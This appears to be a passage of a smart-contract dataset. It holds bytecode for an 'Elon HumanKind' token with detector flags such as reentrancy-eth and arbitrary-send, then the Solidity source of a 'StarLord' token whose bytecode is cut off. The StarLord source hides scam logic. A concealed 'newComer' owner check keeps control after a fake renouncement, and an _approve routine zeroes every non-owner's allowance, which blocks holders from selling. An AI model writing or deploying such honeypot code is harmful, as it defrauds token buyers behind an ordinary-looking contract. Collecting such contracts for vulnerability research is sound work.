b610578565b60405161024991906125b7565b60405180910390f35b34801561025e57600080fd5b506102676105c9565b005b34801561027557600080fd5b5061027e61071c565b60405161028b919061234c565b60405180910390f35b3480156102a057600080fd5b506102a9610745565b6040516102b69190612435565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190611fd5565b610782565b6040516102f3919061241a565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190612042565b6107a0565b005b34801561033157600080fd5b5061033a610883565b005b34801561034857600080fd5b50610363600480360381019061035e9190611f42565b610da4565b60405161037091906125b7565b60405180910390f35b34801561038557600080fd5b5061038e610e2b565b005b34801561039c57600080fd5b506103b760048036038101906103b29190612042565b610e9d565b005b60606040518060400160405280600e81526020017f456c6f6e2048756d616e4b696e64000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b600061042d8484846110db565b6104ee84610439610f08565b6104e985604051806060016040528060288152602001612c3060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049f610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053f610f08565b73ffffffffffffffffffffffffffffffffffffffff161461055f57600080fd5b600061056a30610578565b905061057581611476565b50565b60006105c2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b6105d1610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612517565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4548554d414e4b494e4400000000000000000000000000000000000000000000815250905090565b600061079661078f610f08565b84846110db565b6001905092915050565b6107a8610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612517565b60405180910390fd5b6000811015610879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087090612597565b60405180910390fd5b8060058190555050565b61088b610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f90612517565b60405180910390fd5b600860149054906101000a900460ff1615610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f906124b7565b60405180910390fd5b61099930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0157600080fd5b505afa158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611f15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610abd57600080fd5b505afa158015610ad1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af59190611f15565b6040518363ffffffff1660e01b8152600401610b12929190612367565b602060405180830381600087803b158015610b2c57600080fd5b505af1158015610b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b649190611f15565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bed30610578565b600080610bf861071c565b426040518863ffffffff1660e01b8152600401610c1a969594939291906123b9565b6060604051808303818588803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6c919061206f565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca006009819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d4f929190612390565b602060405180830381600087803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da19190612015565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6c610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610e8c57600080fd5b6000479050610e9a8161176c565b50565b610ea5610f08565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efe57600080fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612577565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612497565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce91906125b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612457565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612537565b60405180910390fd5b60095481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612723565b11156112d357600080fd5b6112db61071c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611349575061131961071c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e230610578565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190612435565b60405180910390fd5b5060008385611469919061277d565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad6128d8565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce9190611f15565b816001815181106115e2576115e16128a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906125d2565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612477565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1591906125b7565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190612435565b60405180910390fd5b5060008385611ad191906126f2565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f919061269c565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb906124d7565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612723565b9050828482611e3491906126f2565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b906124f7565b60405180910390fd5b809150505b92915050565b600081359050611e8e81612bea565b92915050565b600081519050611ea381612bea565b92915050565b600081519050611eb881612c01565b92915050565b600081359050611ecd81612c18565b92915050565b600081519050611ee281612c18565b92915050565b600060208284031215611efe57611efd612907565b5b6000611f0c84828501611e7f565b91505092915050565b600060208284031215611f2b57611f2a612907565b5b6000611f3984828501611e94565b91505092915050565b60008060408385031215611f5957611f58612907565b5b6000611f6785828601611e7f565b9250506020611f7885828601611e7f565b9150509250929050565b600080600060608486031215611f9b57611f9a612907565b5b6000611fa986828701611e7f565b9350506020611fba86828701611e7f565b9250506040611fcb86828701611ebe565b9150509250925092565b60008060408385031215611fec57611feb612907565b5b6000611ffa85828601611e7f565b925050602061200b85828601611ebe565b9150509250929050565b60006020828403121561202b5761202a612907565b5b600061203984828501611ea9565b91505092915050565b60006020828403121561205857612057612907565b5b600061206684828501611ebe565b91505092915050565b60008060006060848603121561208857612087612907565b5b600061209686828701611ed3565b93505060206120a786828701611ed3565b92505060406120b886828701611ed3565b9150509250925092565b60006120ce83836120da565b60208301905092915050565b6120e3816127b1565b82525050565b6120f2816127b1565b82525050565b600061210382612657565b61210d818561267a565b935061211883612647565b8060005b8381101561214957815161213088826120c2565b975061213b8361266d565b92505060018101905061211c565b5085935050505092915050565b61215f816127c3565b82525050565b61216e81612806565b82525050565b600061217f82612662565b612189818561268b565b9350612199818560208601612818565b6121a28161290c565b840191505092915050565b60006121ba60238361268b565b91506121c58261291d565b604082019050919050565b60006121dd602a8361268b565b91506121e88261296c565b604082019050919050565b600061220060228361268b565b915061220b826129bb565b604082019050919050565b600061222360178361268b565b915061222e82612a0a565b602082019050919050565b6000612246601b8361268b565b915061225182612a33565b602082019050919050565b600061226960218361268b565b915061227482612a5c565b604082019050919050565b600061228c60208361268b565b915061229782612aab565b602082019050919050565b60006122af60298361268b565b91506122ba82612ad4565b604082019050919050565b60006122d260258361268b565b91506122dd82612b23565b604082019050919050565b60006122f560248361268b565b915061230082612b72565b604082019050919050565b600061231860188361268b565b915061232382612bc1565b602082019050919050565b612337816127ef565b82525050565b612346816127f9565b82525050565b600060208201905061236160008301846120e9565b92915050565b600060408201905061237c60008301856120e9565b61238960208301846120e9565b9392505050565b60006040820190506123a560008301856120e9565b6123b2602083018461232e565b9392505050565b600060c0820190506123ce60008301896120e9565b6123db602083018861232e565b6123e86040830187612165565b6123f56060830186612165565b61240260808301856120e9565b61240f60a083018461232e565b979650505050505050565b600060208201905061242f6000830184612156565b92915050565b6000602082019050818103600083015261244f8184612174565b905092915050565b60006020820190508181036000830152612470816121ad565b9050919050565b60006020820190508181036000830152612490816121d0565b9050919050565b600060208201905081810360008301526124b0816121f3565b9050919050565b600060208201905081810360008301526124d081612216565b9050919050565b600060208201905081810360008301526124f081612239565b9050919050565b600060208201905081810360008301526125108161225c565b9050919050565b600060208201905081810360008301526125308161227f565b9050919050565b60006020820190508181036000830152612550816122a2565b9050919050565b60006020820190508181036000830152612570816122c5565b9050919050565b60006020820190508181036000830152612590816122e8565b9050919050565b600060208201905081810360008301526125b08161230b565b9050919050565b60006020820190506125cc600083018461232e565b92915050565b600060a0820190506125e7600083018861232e565b6125f46020830187612165565b818103604083015261260681866120f8565b905061261560608301856120e9565b612622608083018461232e565b9695505050505050565b6000602082019050612641600083018461233d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126a7826127ef565b91506126b2836127ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126e7576126e661284b565b5b828201905092915050565b60006126fd826127ef565b9150612708836127ef565b9250826127185761271761287a565b5b828204905092915050565b600061272e826127ef565b9150612739836127ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127725761277161284b565b5b828202905092915050565b6000612788826127ef565b9150612793836127ef565b9250828210156127a6576127a561284b565b5b828203905092915050565b60006127bc826127cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612811826127ef565b9050919050565b60005b8381101561283657808201518184015260208101905061281b565b83811115612845576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612bf3816127b1565b8114612bfe57600080fd5b50565b612c0a816127c3565b8114612c1557600080fd5b50565b612c21816127ef565b8114612c2c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d361f6bdfb3ffe31483b97b14fede06e9805383a88f148869212c351223bdd0c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 970 |
0xe94591fd82af5fc98f403a328fe5e8b756b7f970 | // SPDX-License-Identifier: UNLICENSED
// IERC20.sol
/*
Trade Fast, Trade Hard : Enjoy your Stealth launch Troopers... I hope you heard the transmission. Do not forget where the Cockpit is located to replay it if you have missed it.
What a cool person and Commander we have met! Don't forget we are already on the flight and we will arive soon! Engineers are still working to repair the Cockpit completely so we can finally head to our destination!
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract StarLord is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'StarLord';
string private _symbol = 'STARL 💫';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101d9578063715018a6146101ff5780638da5cb5b1461020957806395d89b411461022d578063a9059cbb14610235578063dd62ed3e14610261576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b661028f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610325565b604080519115158252519081900360200190f35b610173610342565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610348565b6101c36103cf565b6040805160ff9092168252519081900360200190f35b610173600480360360208110156101ef57600080fd5b50356001600160a01b03166103d8565b6102076103f3565b005b6102116104a7565b604080516001600160a01b039092168252519081900360200190f35b6100b66104b6565b6101576004803603604081101561024b57600080fd5b506001600160a01b038135169060200135610517565b6101736004803603604081101561027757600080fd5b506001600160a01b038135811691602001351661052b565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b5050505050905090565b6000610339610332610556565b848461055a565b50600192915050565b60045490565b60006103558484846106ca565b6103c584610361610556565b6103c08560405180606001604052806028815260200161095c602891396001600160a01b038a1660009081526003602052604081209061039f610556565b6001600160a01b03168152602081019190915260400160002054919061081c565b61055a565b5060019392505050565b60075460ff1690565b6001600160a01b031660009081526002602052604090205490565b6103fb610556565b6001546001600160a01b0390811691161461045d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b6000610339610524610556565b84846106ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661059f5760405162461bcd60e51b81526004018080602001828103825260248152602001806109cd6024913960400191505060405180910390fd5b6001600160a01b0382166105e45760405162461bcd60e51b815260040180806020018281038252602281526020018061093a6022913960400191505060405180910390fd5b6105ec6104a7565b6001600160a01b0316836001600160a01b031614610667576001600160a01b0380841660008181526003602090815260408083209487168084529482528083209290925581516004815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a36106c5565b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b505050565b6001600160a01b03831661070f5760405162461bcd60e51b81526004018080602001828103825260258152602001806109156025913960400191505060405180910390fd5b6001600160a01b0382166107545760405162461bcd60e51b81526004018080602001828103825260238152602001806109aa6023913960400191505060405180910390fd5b61079181604051806060016040528060268152602001610984602691396001600160a01b038616600090815260026020526040902054919061081c565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546107c090826108b3565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610870578181015183820152602001610858565b50505050905090810190601f16801561089d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561090d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e742065786365656